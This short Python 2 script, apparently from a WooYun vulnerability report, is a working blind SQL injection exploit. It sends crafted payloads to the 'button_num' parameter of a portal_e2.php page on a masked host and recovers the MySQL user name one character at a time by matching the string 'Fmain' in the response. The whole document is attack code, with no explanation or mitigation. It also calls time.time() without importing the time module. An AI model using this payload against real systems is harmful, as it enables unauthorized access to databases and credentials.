WooYun.org

import requests
import re
payloads='abcdefghijklmnopqrstuvwxyz0123456789@_.'
user=''
print 'Start to retrive Mysql user:'
for i in range(1,17):
    for payload in payloads:
        starttime=time.time()
        s="e2' and if(ascii(mid(user() from (%s) for 1))=%s,0,1) -- -" %(i,ord(payload)) 
        param={'button_num':s}
        response=requests.get('http://**.**.**.**/portal_e2.php',params=param)
        response=response.text
        if re.search('Fmain',response):
            user+=payload
            print '\n user is:',user,
            break
        else:
            print '.',            
print '\n[Done] mysql user is %s' %user